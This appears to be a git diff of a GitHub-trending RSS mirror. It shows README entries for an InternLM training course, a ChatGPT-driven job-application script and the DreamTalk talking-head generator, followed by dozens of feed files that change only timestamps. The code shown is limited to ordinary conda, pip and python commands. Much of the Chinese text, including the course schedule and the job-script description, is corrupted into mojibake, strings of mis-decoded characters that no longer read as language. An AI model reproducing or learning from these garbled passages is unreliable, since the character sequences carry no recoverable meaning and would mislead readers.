”ๆœบๆž„ใ€ไธ€็บฟๅคงๅŽ‚ๅ’Œ Github ็ƒญ้—จๅผ€ๆบ้กน็›ฎ็š„่ฎฒๅธˆๆ‰‹ๆŠŠๆ‰‹ๆ•™ๅญฆ<br> ๐Ÿ’ป ็ฎ—ๅŠ›ๆ”ฏๆŒ๏ผš็ฎ—ๅŠ›่ต„ๆบๅ…่ดนๆไพ›๏ผŒๅŠฉๅŠ›ๆ— ๅฟง่ฎญ็ปƒๅคงๆจกๅž‹<br> ๐Ÿ’ฌ ไธ“ๅฑž็คพ็พค๏ผšๅŠฉๆ•™ใ€่ฎฒๅธˆๅ…จ็จ‹้™ชไผด๏ผŒๆไพ›ๅฝ•ๆ’ญๅ›žๆ”พใ€็บฟไธŠ็ญ”็–‘ๅŠๅฎžๆˆ˜ไฝœไธš่พ…ๅฏผ<br> ๐Ÿ“œ ๅฎ˜ๆ–น่ฎค่ฏ๏ผšไผ˜็ง€ๅญฆๅ‘˜ๅฐ†่Žทๅพ—่ฃ่ช‰่ฏไนฆ๏ผŒไผ˜็ง€้กน็›ฎๆœ‰ๆœบไผš่ขซๅฎ˜ๆ–นๆ”ถๅฝ•๏ผŒ่Žทๅพ—ๆ›ดๅคšๅฑ•็คบ</p> <h2>๐Ÿ“… ่ฏพ็จ‹ๅฎ‰ๆŽ’</h2> <table> <thead> <tr> <th align="left">่ฏพ็จ‹ๆ—ถ้—ด</th> <th align="left">่ฏพ็จ‹ๅ†…ๅฎน</th> <th align="left">่ฎฒๅธˆ</th> <th align="left">่ต„ๆ–™</th> </tr> </thead> <tbody> <tr> <td align="left">็ฌฌ 1 ่Š‚</td> <td align="left">ไนฆ็”Ÿยทๆตฆ่ฏญๅคงๆจกๅž‹ๅ…จ้“พ่ทฏๅผ€ๆบๅผ€ๆ”พไฝ“็ณป</td> <td align="left">้™ˆๆบ <br>ไธŠๆตทไบบๅทฅๆ™บ่ƒฝๅฎž้ชŒๅฎค้’ๅนด็ง‘ๅญฆๅฎถ</td> <td align="left"><a href="https://www.bilibili.com/video/BV1Rc411b7ns/">่ง†้ข‘</a></td> </tr> <tr> <td align="left">็ฌฌ 2 ่Š‚</td> <td align="left">่ฝปๆพๅˆ†้’Ÿ็Žฉ่ฝฌไนฆ็”Ÿยทๆตฆ่ฏญๅคงๆจกๅž‹่ถฃๅ‘ณ Demo</td> <td align="left">ๅฎ‹ๅฟ—ๅญฆ<br>d2l-ai-solutions-manual ๅผ€ๆบ้กน็›ฎ่ดŸ่ดฃไบบ</td> <td align="left"><a href="https://raw.githubusercontent.com/InternLM/tutorial/main/helloworld/hello_world.md">ๆ–‡ๆกฃ</a>ใ€่ง†้ข‘</td> </tr> <tr> <td align="left">็ฌฌ 3 ่Š‚</td> <td align="left">ๅŸบไบŽ InternLM ๅ’Œ Langchain ๆญๅปบไฝ ็š„็Ÿฅ่ฏ†ๅบ“</td> <td align="left">้‚น้›จ่กก<br>prompt-engineering-for-developers ๅผ€ๆบ้กน็›ฎ่ดŸ่ดฃไบบ</td> <td align="left"><a href="https://raw.githubusercontent.com/InternLM/tutorial/main/langchain/readme.md">ๆ–‡ๆกฃ</a>ใ€่ง†้ข‘</td> </tr> <tr> <td align="left">็ฌฌ 4 ่Š‚</td> <td align="left">XTuner ๅคงๆจกๅž‹ๅ•ๅกไฝŽๆˆๆœฌๅพฎ่ฐƒๅฎžๆˆ˜</td> <td align="left">ๆฑชๅ‘จ่ฐฆ<br>XTuner ็คพๅŒบ่ดก็Œฎ่€…</td> <td align="left"><a href="https://raw.githubusercontent.com/InternLM/tutorial/main/xtuner/README.md">ๆ–‡ๆกฃ</a>ใ€่ง†้ข‘</td> </tr> <tr> <td align="left">็ฌฌ 5 ่Š‚</td> <td align="left">LMDeploy ๅคงๆจกๅž‹้‡ๅŒ–้ƒจ็ฝฒๅฎž่ทต</td> <td align="left">้•ฟ็ด<br>HuggingLLMๅผ€ๆบ้กน็›ฎ่ดŸ่ดฃไบบ</td> <td align="left"><a href="https://raw.githubusercontent.com/InternLM/tutorial/main/lmdeploy/lmdeploy.md">ๆ–‡ๆกฃ</a>ใ€่ง†้ข‘</td> </tr> <tr> <td align="left">็ฌฌ 6 ่Š‚</td> <td align="left">OpenCompass ๅคงๆจกๅž‹่ฏ„ๆต‹่งฃ่ฏปๅŠๅฎžๆˆ˜ๆŒ‡ๅ—</td> <td align="left">ๆ›น่Œ‚ๆพ<br>OpenCompass ๆ ธๅฟƒๅผ€ๅ‘่€…<br><br>็Ž‹ๅŠช<br>OpenCompass ็คพๅŒบ่ดก็Œฎ่€…</td> <td align="left">ๆ–‡ๆกฃใ€่ง†้ข‘</td> </tr> <tr> <td align="left">็ฌฌ 7 ่Š‚</td> <td align="left">ๅฝฉ่›‹็Žฏ่Š‚</td> <td align="left">็ฅž็ง˜ๅ˜‰ๅฎพ</td> <td align="left">ๆ–‡ๆกฃใ€่ง†้ข‘</td> </tr> </tbody> </table> <h2>๐Ÿ“ ไฝœไธš</h2> <p>ๅŠฉๆ•™่€ๅธˆๅฐ†ๅœจ็คพ็พคไธญๅ…ฌๅธƒๆฏ่Š‚่ฏพ็š„ไฝœไธšๅŠๆไบคๆ–นๅผ</p> <h2>๐Ÿ–ฅ๏ธ ็ฎ—ๅŠ›ๅนณๅฐ</h2> <p><a href="https://studio.intern-ai.org.cn/">https://studio.intern-ai.org.cn/</a></p> <p>้—ฎๅทไธญ็š„ๆ ธ้”€็ ไธบ้‚€่ฏท็ ๏ผŒๅฆ‚้ขๅค–้œ€่ฆๅ……ๅ€ผ็ฎ—ๅŠ›ๆˆ–่€…ๅ…ถไป–ไปปไฝ•็–‘้—ฎ่ฏท่”็ณปๆตฆ่ฏญๅฐๅŠฉๆ‰‹(ๅพฎไฟกๅทๆœ็ดข๏ผšInternLM)</p> - Frrrrrrrrank/auto_job__find__chatgpt__rpa - 2024-01-05T01:40:31Z - tag:github.com,2024-01-05:/Frrrrrrrrank/auto_job__find__chatgpt__rpa - - <p>This is a tool used to automatically generate a cover letter using chatgpt based on your resume and job description and send messages to bosses in China.</p><hr><p>่ฟ™ๆ˜ฏไธ€ไธชๅฎŒๅ…จๅ…่ดน็š„่„šๆœฌ๏ผŒๅช้œ€่ฆไฝ ไปฌ่‡ชๅทฑ้…็ฝฎๅฅฝopenai็š„apiๅณๅฏ ๅธŒๆœ›ๆ‚จ่ƒฝ็ป™ๆˆ‘็‚นไธชstar ๅฆ‚ๆžœๅœจ่ฟ™ไธชๅฏ’ๅ†ท็š„ๆ‹›่˜ๅญฃ๏ผŒ่ฟ™ไธช่„šๆœฌ่ƒฝ็ป™ๆ‚จไธ€ไบ›ๅธฎๅŠฉ๏ผŒๅธฆๆฅไธ€ไบ›ๆธฉๆš–๏ผŒๅฐ†่ฎฉๆˆ‘้žๅธธ่ฃๅนธ</p> <p>ๅธŒๆœ›ไธ่ฆๆœ‰ไบบๆ‹ฟ็€ๆˆ‘็š„่„šๆœฌๅŽปๅ‰ฒ้Ÿญ่œ๏ผŒ้ƒฝๅทฒ็ป่ขซ้€ผๅˆฐ็”จ่ฟ™็ง่„šๆœฌๆŠ•็ฎ€ๅŽ†็š„ๅœฐๆญฅไบ†๏ผŒ่บซไธŠไนŸๆฒกๅ•ฅๆฒนๆฐดๅฏๆฆจไบ†ๅงใ€‚ๅฏๅฝ“ไธชไบบๅง</p> <p>่ฏท้ฆ–ๅ…ˆ้…็ฝฎๅฅฝopenai็š„api๏ผŒ้šๅŽๅฐ†pdf็ฎ€ๅŽ†ไธŠไผ ๅˆฐๆ–‡ไปถๅคนauto_job_find้‡Œ๏ผŒๅ‘ฝๅไธบโ€œmy_cover".้šๅŽๆ‰ง่กŒwrite_response.pyๅณๅฏ ไผš่‡ชๅŠจ็”Ÿๆˆopenai็š„assistant๏ผŒๅนถๅœจๆœฌๅœฐไบง็”Ÿไธ€ไธช.jsonๆ–‡ไปถ๏ผŒๅชๆœ‰็ฌฌไธ€ๆฌก่ฟ่กŒ็š„ๆ—ถๅ€™ๆ‰ไผšไบง็”Ÿ๏ผŒๅŽ้ขๆฏๆฌก่ฟ่กŒๅฆ‚ๆžœๆฃ€ๆต‹ๅˆฐ่ฟ™ไธชjson๏ผŒๅฐฑไผš่ฐƒ็”จๅทฒๆœ‰็š„assistant</p> <p>ๅ…ณไบŽopenai้ƒจๅˆ†็š„ๅŒ…๏ผš openai</p> <p>About RPA tutorial video about how to learn rpa: <a href="https://www.youtube.com/watch?v=65OPFmEgCbM&amp;list=PLx4LEkEdFArgrdD_lvXe_hYBy8zM0Sp3b&amp;index=1">https://www.youtube.com/watch?v=65OPFmEgCbM&amp;list=PLx4LEkEdFArgrdD_lvXe_hYBy8zM0Sp3b&amp;index=1</a> Package of RPA selenium robotframework robotframework-seleniumlibrary robotframework-pythonlibcore</p> <p>Plugin: Intellibot@Selenium Library</p> <p>------------------ไธ‹้ขๆ˜ฏ็ฎ€ๅ•็š„ๆ•™ๅญฆ่ง†้ข‘---------------------</p> <p>B็ซ™้“พๆŽฅ๏ผšใ€่ต›ๅšๆŠ•็ฎ€ๅŽ†่„šๆœฌๆ•™็จ‹ใ€‘ <a href="https://www.bilibili.com/video/BV1UC4y1N78v/?share_source=copy_web&amp;vd_source=b2608434484091fcc64d4eb85233122d">https://www.bilibili.com/video/BV1UC4y1N78v/?share_source=copy_web&amp;vd_source=b2608434484091fcc64d4eb85233122d</a></p> <p>ๆฒน็ฎก้“พๆŽฅ๏ผš<a href="https://youtu.be/TlnytEi2lD8?si=jfcDj2MZqBptziZc">https://youtu.be/TlnytEi2lD8?si=jfcDj2MZqBptziZc</a></p> + ali-vilab/dreamtalk + 2024-01-06T01:38:45Z + tag:github.com,2024-01-06:/ali-vilab/dreamtalk + + <p>Official implementations for paper: DreamTalk: When Expressive Talking Head Generation Meets Diffusion Probabilistic Models</p><hr><h2 align="center">DreamTalk: When Expressive Talking Head Generation <br> Meets Diffusion Probabilistic Models</h2> <p align="center"> <a href="https://dreamtalk-project.github.io/"><img src="https://img.shields.io/badge/Project-Page-Green"></a> <a href="https://arxiv.org/abs/2312.09767"><img src="https://img.shields.io/badge/Paper-Arxiv-red"></a> <a href="https://youtu.be/VF4vlE6ZqWQ"><img src="https://badges.aleen42.com/src/youtube.svg?sanitize=true"></a> </p> <p><img src="https://raw.githubusercontent.com/ali-vilab/dreamtalk/main/media/teaser.gif" alt="teaser" title="teaser"></p> <p>DreamTalk is a diffusion-based audio-driven expressive talking head generation framework that can produce high-quality talking head videos across diverse speaking styles. DreamTalk exhibits robust performance with a diverse array of inputs, including songs, speech in multiple languages, noisy audio, and out-of-domain portraits.</p> <h2>News</h2> <ul> <li><strong>[2024.01]</strong> <a href="https://huggingface.co/fffiloni">fffiloni</a> provides a HuggingFace Space <a href="https://huggingface.co/spaces/fffiloni/dreamtalk"><img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue"></a>. Thanks~</li> <li><strong>[2023.12]</strong> Release inference code and pretrained checkpoint.</li> </ul> <h2>Installation</h2> <pre><code>conda create -n dreamtalk python=3.7.0 conda activate dreamtalk pip install -r requirements.txt conda install pytorch==1.8.0 torchvision==0.9.0 torchaudio==0.8.0 cudatoolkit=11.1 -c pytorch -c conda-forge conda update ffmpeg pip install urllib3==1.26.6 pip install transformers==4.28.1 pip install dlib </code></pre> <h2>Download Checkpoints</h2> <p>Download the checkpoint of the denoising network and the renderer:</p> <ul> <li><a href="https://huggingface.co/damo-vilab/dreamtalk">HuggingFace</a></li> <li><a href="https://modelscope.cn/models/damo/dreamtalk/files">ModelScope</a> (in <code>checkpoints</code> folder)</li> </ul> <p>Put the downloaded checkpoints into <code>checkpoints</code> folder.</p> <h2>Inference</h2> <p>Run the script:</p> <pre><code>python inference_for_demo_video.py \ --wav_path data/audio/acknowledgement_english.m4a \ --style_clip_path data/style_clip/3DMM/M030_front_neutral_level1_001.mat \ --pose_path data/pose/RichardShelby_front_neutral_level1_001.mat \ --image_path data/src_img/uncropped/male_face.png \ --cfg_scale 1.0 \ --max_gen_len 30 \ --output_name acknowledgement_english@M030_front_neutral_level1_001@male_face </code></pre> <p><code>wav_path</code> specifies the input audio. The input audio file extensions such as wav, mp3, m4a, and mp4 (video with sound) should all be compatible.</p> <p><code>style_clip_path</code> specifies the reference speaking style and <code>pose_path</code> specifies head pose. They are 3DMM parameter sequences extracted from reference videos. You can follow <a href="https://github.com/RenYurui/PIRender">PIRenderer</a> to extract 3DMM parameters from your own videos. Note that the video frame rate should be 25 FPS. Besides, videos used for head pose reference should be first cropped to $256\times256$ using scripts in <a href="https://github.com/AliaksandrSiarohin/video-preprocessing">FOMM video preprocessing</a>.</p> <p><code>image_path</code> specifies the input portrait. Its resolution should be larger than $256\times256$. Frontal portraits, with the face directly facing forward and not tilted to one side, usually achieve satisfactory results. The input portrait will be cropped to $256\times256$. If your portrait is already cropped to $256\times256$ and you want to disable cropping, use option <code>--disable_img_crop</code> like this:</p> <pre><code>python inference_for_demo_video.py \ --wav_path data/audio/acknowledgement_chinese.m4a \ --style_clip_path data/style_clip/3DMM/M030_front_surprised_level3_001.mat \ --pose_path data/pose/RichardShelby_front_neutral_level1_001.mat \ --image_path data/src_img/cropped/zp1.png \ --disable_img_crop \ --cfg_scale 1.0 \ --max_gen_len 30 \ --output_name acknowledgement_chinese@M030_front_surprised_level3_001@zp1 </code></pre> <p><code>cfg_scale</code> controls the scale of classifer-free guidance. It can adjust the intensity of speaking styles.</p> <p><code>max_gen_len</code> is the maximum video generation duration, measured in seconds. If the input audio exceeds this length, it will be truncated.</p> <p>The generated video will be named <code>$(output_name).mp4</code> and put in the output_video folder. Intermediate results, including the cropped portrait, will be in the <code>tmp/$(output_name)</code> folder.</p> <p>Sample inputs are presented in <code>data</code> folder. Due to copyright issues, we are unable to include the songs we have used in this folder.</p> <p>If you want to run this program on CPU, please add <code>--device=cpu</code> to the command line arguments. (Thank <a href="https://github.com/lukevs">lukevs</a> for adding CPU support.)</p> <h2>Ad-hoc solutions to improve resolution</h2> <p>The main goal of this method is to achieve accurate lip-sync and produce vivid expressions across diverse speaking styles. The resolution was not considered in the initial design process. There are two ad-hoc solutions to improve resolution. The first option is to utilize <a href="https://github.com/sczhou/CodeFormer">CodeFormer</a>, which can achieve a resolution of $1024\times1024$; however, it is relatively slow, processing only one frame per second on an A100 GPU, and suffers from issues with temporal inconsistency. The second option is to employ the Temporal Super-Resolution Model from <a href="https://github.com/Meta-Portrait/MetaPortrait">MetaPortrait</a>, which attains a resolution of $512\times512$, offers a faster performance of 10 frames per second, and maintains temporal coherence. However, these super-resolution modules may reduce the intensity of facial emotions.</p> <p>The sample results after super-resolution processing are in the <code>output_video</code> folder.</p> <h2>Acknowledgements</h2> <p>We extend our heartfelt thanks for the invaluable contributions made by preceding works to the development of DreamTalk. This includes, but is not limited to: <a href="https://github.com/RenYurui/PIRender">PIRenderer</a> ,<a href="https://github.com/FuxiVirtualHuman/AAAI22-one-shot-talking-face">AVCT</a> ,<a href="https://github.com/FuxiVirtualHuman/styletalk">StyleTalk</a> ,<a href="https://github.com/sicxu/Deep3DFaceRecon_pytorch">Deep3DFaceRecon_pytorch</a> ,<a href="https://huggingface.co/jonatasgrosman/wav2vec2-large-xlsr-53-english">Wav2vec2.0</a> ,<a href="https://github.com/luost26/diffusion-point-cloud">diffusion-point-cloud</a> ,<a href="https://github.com/AliaksandrSiarohin/video-preprocessing">FOMM video preprocessing</a>. We are dedicated to advancing upon these foundational works with the utmost respect for their original contributions.</p> <h2>Citation</h2> <p>If you find this codebase useful for your research, please use the following entry.</p> <pre><code class="language-BibTeX">@article{ma2023dreamtalk, title={DreamTalk: When Expressive Talking Head Generation Meets Diffusion Probabilistic Models}, author={Ma, Yifeng and Zhang, Shiwei and Wang, Jiayu and Wang, Xiang and Zhang, Yingya and Deng, Zhidong}, journal={arXiv preprint arXiv:2312.09767}, year={2023} } </code></pre> \ No newline at end of file diff --git a/q%23/daily/index.xml b/q%23/daily/index.xml index 4c64d0110de..113aead07c1 100644 --- a/q%23/daily/index.xml +++ b/q%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub Q# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:01Z + 2024-01-06T01:38:59Z Daily Trending of Q# in GitHub \ No newline at end of file diff --git a/q/daily/index.xml b/q/daily/index.xml index 6121c4767ee..4ede243b322 100644 --- a/q/daily/index.xml +++ b/q/daily/index.xml @@ -1,7 +1,7 @@ GitHub q Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:59Z + 2024-01-06T01:38:58Z Daily Trending of q in GitHub \ No newline at end of file diff --git a/qmake/daily/index.xml b/qmake/daily/index.xml index fa3b04e9f07..3d89cfe5f4e 100644 --- a/qmake/daily/index.xml +++ b/qmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub QMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:02Z + 2024-01-06T01:39:01Z Daily Trending of QMake in GitHub \ No newline at end of file diff --git a/qml/daily/index.xml b/qml/daily/index.xml index 308b937136b..ad8bf576b30 100644 --- a/qml/daily/index.xml +++ b/qml/daily/index.xml @@ -1,7 +1,7 @@ GitHub QML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:04Z + 2024-01-06T01:39:05Z Daily Trending of QML in GitHub \ No newline at end of file diff --git a/qt-script/daily/index.xml b/qt-script/daily/index.xml index 7b4b7fae4de..ae0947cef59 100644 --- a/qt-script/daily/index.xml +++ b/qt-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Qt Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:03Z + 2024-01-06T01:39:04Z Daily Trending of Qt Script in GitHub \ No newline at end of file diff --git a/quake/daily/index.xml b/quake/daily/index.xml index 124e961b6a9..f8bc65922ad 100644 --- a/quake/daily/index.xml +++ b/quake/daily/index.xml @@ -1,7 +1,7 @@ GitHub Quake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:05Z + 2024-01-06T01:39:03Z Daily Trending of Quake in GitHub \ No newline at end of file diff --git a/r/daily/index.xml b/r/daily/index.xml index de5456dc520..a0fe8ed4369 100644 --- a/r/daily/index.xml +++ b/r/daily/index.xml @@ -1,7 +1,7 @@ GitHub R Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:09Z + 2024-01-06T01:39:05Z Daily Trending of R in GitHub \ No newline at end of file diff --git a/racket/daily/index.xml b/racket/daily/index.xml index 2fa73610f8b..06474389d41 100644 --- a/racket/daily/index.xml +++ b/racket/daily/index.xml @@ -1,7 +1,7 @@ GitHub Racket Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:17Z + 2024-01-06T01:39:07Z Daily Trending of Racket in GitHub \ No newline at end of file diff --git a/ragel/daily/index.xml b/ragel/daily/index.xml index 53f8fe9aed7..5b2bf006eb9 100644 --- a/ragel/daily/index.xml +++ b/ragel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ragel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:19Z + 2024-01-06T01:39:08Z Daily Trending of Ragel in GitHub \ No newline at end of file diff --git a/raku/daily/index.xml b/raku/daily/index.xml index 67be2f27831..ed34f3f39d6 100644 --- a/raku/daily/index.xml +++ b/raku/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raku Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:18Z + 2024-01-06T01:39:10Z Daily Trending of Raku in GitHub \ No newline at end of file diff --git a/raml/daily/index.xml b/raml/daily/index.xml index b677ef4d551..8980d7307e0 100644 --- a/raml/daily/index.xml +++ b/raml/daily/index.xml @@ -1,7 +1,7 @@ GitHub RAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:16Z + 2024-01-06T01:39:09Z Daily Trending of RAML in GitHub \ No newline at end of file diff --git a/rascal/daily/index.xml b/rascal/daily/index.xml index 467a0998ab2..6decefa32a3 100644 --- a/rascal/daily/index.xml +++ b/rascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:20Z + 2024-01-06T01:39:13Z Daily Trending of Rascal in GitHub \ No newline at end of file diff --git a/raw-token-data/daily/index.xml b/raw-token-data/daily/index.xml index 01ef91c3ad7..95c5268dc02 100644 --- a/raw-token-data/daily/index.xml +++ b/raw-token-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raw token data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:21Z + 2024-01-06T01:39:14Z Daily Trending of Raw token data in GitHub \ No newline at end of file diff --git a/rdoc/daily/index.xml b/rdoc/daily/index.xml index 6bd003ca2b7..ea61a1db722 100644 --- a/rdoc/daily/index.xml +++ b/rdoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:22Z + 2024-01-06T01:39:15Z Daily Trending of RDoc in GitHub \ No newline at end of file diff --git a/readline-config/daily/index.xml b/readline-config/daily/index.xml index 4d05510d024..c2180e99335 100644 --- a/readline-config/daily/index.xml +++ b/readline-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Readline Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:25Z + 2024-01-06T01:39:17Z Daily Trending of Readline Config in GitHub \ No newline at end of file diff --git a/realbasic/daily/index.xml b/realbasic/daily/index.xml index 0061e2a80a5..9ca664ed44e 100644 --- a/realbasic/daily/index.xml +++ b/realbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub REALbasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:27Z + 2024-01-06T01:39:17Z Daily Trending of REALbasic in GitHub \ No newline at end of file diff --git a/reason/daily/index.xml b/reason/daily/index.xml index 4107875795a..2fdb2ea6cd6 100644 --- a/reason/daily/index.xml +++ b/reason/daily/index.xml @@ -1,7 +1,7 @@ GitHub Reason Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:24Z + 2024-01-06T01:39:16Z Daily Trending of Reason in GitHub \ No newline at end of file diff --git a/rebol/daily/index.xml b/rebol/daily/index.xml index dcc66cc0f75..4abf316acbc 100644 --- a/rebol/daily/index.xml +++ b/rebol/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rebol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:30Z + 2024-01-06T01:39:21Z Daily Trending of Rebol in GitHub \ No newline at end of file diff --git a/record-jar/daily/index.xml b/record-jar/daily/index.xml index e5800e709d5..ba89766632d 100644 --- a/record-jar/daily/index.xml +++ b/record-jar/daily/index.xml @@ -1,7 +1,7 @@ GitHub Record Jar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:29Z + 2024-01-06T01:39:20Z Daily Trending of Record Jar in GitHub \ No newline at end of file diff --git a/red/daily/index.xml b/red/daily/index.xml index 4d64c3986c7..b2c91c4e4a6 100644 --- a/red/daily/index.xml +++ b/red/daily/index.xml @@ -1,7 +1,7 @@ GitHub Red Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:31Z + 2024-01-06T01:39:21Z Daily Trending of Red in GitHub \ No newline at end of file diff --git a/redcode/daily/index.xml b/redcode/daily/index.xml index 8b56ba503da..a1d41ce1b87 100644 --- a/redcode/daily/index.xml +++ b/redcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redcode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:28Z + 2024-01-06T01:39:19Z Daily Trending of Redcode in GitHub \ No newline at end of file diff --git a/redirect-rules/daily/index.xml b/redirect-rules/daily/index.xml index 953081ecbcb..f03b1e822e9 100644 --- a/redirect-rules/daily/index.xml +++ b/redirect-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redirect Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:34Z + 2024-01-06T01:39:24Z Daily Trending of Redirect Rules in GitHub \ No newline at end of file diff --git a/regular-expression/daily/index.xml b/regular-expression/daily/index.xml index 15a4a524623..012dc209467 100644 --- a/regular-expression/daily/index.xml +++ b/regular-expression/daily/index.xml @@ -1,7 +1,7 @@ GitHub Regular Expression Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:33Z + 2024-01-06T01:39:24Z Daily Trending of Regular Expression in GitHub \ No newline at end of file diff --git a/ren'py/daily/index.xml b/ren'py/daily/index.xml index 4d71c7c5138..8309913c492 100644 --- a/ren'py/daily/index.xml +++ b/ren'py/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ren'Py Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:32Z + 2024-01-06T01:39:23Z Daily Trending of Ren'Py in GitHub \ No newline at end of file diff --git a/renderscript/daily/index.xml b/renderscript/daily/index.xml index 6d43a8f384d..de8b448129f 100644 --- a/renderscript/daily/index.xml +++ b/renderscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub RenderScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:34Z + 2024-01-06T01:39:22Z Daily Trending of RenderScript in GitHub \ No newline at end of file diff --git a/rescript/daily/index.xml b/rescript/daily/index.xml index 30aac2ed514..075927c309f 100644 --- a/rescript/daily/index.xml +++ b/rescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ReScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:36Z + 2024-01-06T01:39:27Z Daily Trending of ReScript in GitHub \ No newline at end of file diff --git a/restructuredtext/daily/index.xml b/restructuredtext/daily/index.xml index bdc5cca4363..7e5bd0ec18a 100644 --- a/restructuredtext/daily/index.xml +++ b/restructuredtext/daily/index.xml @@ -1,7 +1,7 @@ GitHub reStructuredText Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:37Z + 2024-01-06T01:39:28Z Daily Trending of reStructuredText in GitHub \ No newline at end of file diff --git a/rexx/daily/index.xml b/rexx/daily/index.xml index b827aa101fc..07fc755b217 100644 --- a/rexx/daily/index.xml +++ b/rexx/daily/index.xml @@ -1,7 +1,7 @@ GitHub REXX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:39Z + 2024-01-06T01:39:26Z Daily Trending of REXX in GitHub \ No newline at end of file diff --git a/rich-text-format/daily/index.xml b/rich-text-format/daily/index.xml index 5da33787c18..69b59539553 100644 --- a/rich-text-format/daily/index.xml +++ b/rich-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rich Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:43Z + 2024-01-06T01:39:31Z Daily Trending of Rich Text Format in GitHub \ No newline at end of file diff --git a/ring/daily/index.xml b/ring/daily/index.xml index 2ec5522590d..7332994080a 100644 --- a/ring/daily/index.xml +++ b/ring/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ring Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:42Z + 2024-01-06T01:39:30Z Daily Trending of Ring in GitHub \ No newline at end of file diff --git a/riot/daily/index.xml b/riot/daily/index.xml index fa156ed5665..cca166ae156 100644 --- a/riot/daily/index.xml +++ b/riot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Riot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:41Z + 2024-01-06T01:39:29Z Daily Trending of Riot in GitHub \ No newline at end of file diff --git a/rmarkdown/daily/index.xml b/rmarkdown/daily/index.xml index 250655db4e5..a5412ae7c1e 100644 --- a/rmarkdown/daily/index.xml +++ b/rmarkdown/daily/index.xml @@ -1,7 +1,7 @@ GitHub RMarkdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:40Z + 2024-01-06T01:39:29Z Daily Trending of RMarkdown in GitHub \ No newline at end of file diff --git a/robotframework/daily/index.xml b/robotframework/daily/index.xml index ad1a86c41a8..76461766c00 100644 --- a/robotframework/daily/index.xml +++ b/robotframework/daily/index.xml @@ -1,7 +1,7 @@ GitHub RobotFramework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:48Z + 2024-01-06T01:39:33Z Daily Trending of RobotFramework in GitHub \ No newline at end of file diff --git a/robots.txt/daily/index.xml b/robots.txt/daily/index.xml index 17487e55791..c35efd945e6 100644 --- a/robots.txt/daily/index.xml +++ b/robots.txt/daily/index.xml @@ -1,7 +1,7 @@ GitHub robots.txt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:44Z + 2024-01-06T01:39:32Z Daily Trending of robots.txt in GitHub \ No newline at end of file diff --git a/roff-manpage/daily/index.xml b/roff-manpage/daily/index.xml index d11d67c349a..c769f1b7048 100644 --- a/roff-manpage/daily/index.xml +++ b/roff-manpage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Manpage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:45Z + 2024-01-06T01:39:34Z Daily Trending of Roff Manpage in GitHub \ No newline at end of file diff --git a/roff/daily/index.xml b/roff/daily/index.xml index 26bc7c6ed63..993ac82ec60 100644 --- a/roff/daily/index.xml +++ b/roff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 